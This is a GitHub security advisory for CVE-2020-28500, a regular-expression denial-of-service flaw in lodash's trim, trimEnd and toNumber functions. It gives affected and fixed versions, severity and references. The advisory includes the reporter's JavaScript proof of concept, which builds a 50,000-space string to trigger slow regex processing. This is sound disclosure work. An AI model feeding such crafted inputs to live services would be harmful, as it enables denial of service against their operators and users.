GitHub Advisoryadvisory · npm, RubyGems
GHSA-29mw-wpgm-hmr9 Regular Expression Denial of Service (ReDoS) in lodash
MEDIUM
Official page ↗
- Aliases
- CVE-2020-28500
- Ecosystem
- npm, RubyGems
- Packages
- lodash, lodash-es, lodash.trimend, lodash.trim, lodash-rails
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
- Weaknesses
- CWE-1333, CWE-400
- Reviewed
- 2021-03-19
Affected packages
• npm lodash: >= 4.0.0, < 4.17.21 → fixed in 4.17.21
• npm lodash-es: >= 4.0.0, < 4.17.21 → fixed in 4.17.21
• npm lodash.trimend: >= 4.0.0, <= 4.5.1 (no fix yet)
• npm lodash.trim: >= 4.0.0, <= 4.5.1 (no fix yet)
• RubyGems lodash-rails: >= 4.0.0, < 4.17.21 → fixed in 4.17.21
Description
All versions of package lodash prior to 4.17.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the `toNumber`, `trim` and `trimEnd` functions.
Steps to reproduce (provided by reporter Liyuan Chen):
```js
var lo = require('lodash');
function build_blank(n) {
var ret = "1"
for (var i = 0; i < n; i++) {
ret += " "
}
return ret + "1";
}
var s = build_blank(50000) var time0 = Date.now();
lo.trim(s)
var time_cost0 = Date.now() - time0;
console.log("time_cost0: " + time_cost0);
var time1 = Date.now();
lo.toNumber(s) var time_cost1 = Date.now() - time1;
console.log("time_cost1: " + time_cost1);
var time2 = Date.now();
lo.trimEnd(s);
var time_cost2 = Date.now() - time2;
console.log("time_cost2: " + time_cost2);
```
Related
Alias · CVE (1)
- CVE-2020-28500 Lodash versions prior to 4.17.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the toNumber, trim and trimEnd… vulnerability
References
- https://nvd.nist.gov/vuln/detail/CVE-2020-28500 advisory
- https://github.com/github/advisory-database/pull/6139 web
- https://github.com/lodash/lodash/pull/5065 web
- https://github.com/lodash/lodash/pull/5065/commits/02906b8191d3c100c193fe6f7b27d1c40f200bb7 web
- https://github.com/lodash/lodash/commit/c4847ebe7d14540bb28a8b932a9ce1b9ecbfee1a web
- https://www.oracle.com/security-alerts/cpuoct2021.html web
- https://www.oracle.com/security-alerts/cpujul2022.html web
- https://www.oracle.com/security-alerts/cpujan2022.html web
- https://www.oracle.com//security-alerts/cpujul2021.html web
- https://snyk.io/vuln/SNYK-JS-LODASH-1018905 web
- https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1074893 web
- https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWERGITHUBLODASH-1074895 web
- https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWER-1074892 web
- https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARS-1074894 web
- https://snyk.io/vuln/SNYK-JAVA-ORGFUJIONWEBJARS-1074896 web
- https://security.netapp.com/advisory/ntap-20210312-0006 web
- https://github.com/rubysec/ruby-advisory-db/blob/master/gems/lodash-rails/CVE-2020-28500.yml web
- https://github.com/lodash/lodash/blob/npm/trimEnd.js%23L8 web
- https://github.com/lodash/lodash package
- https://cert-portal.siemens.com/productcert/pdf/ssa-637483.pdf web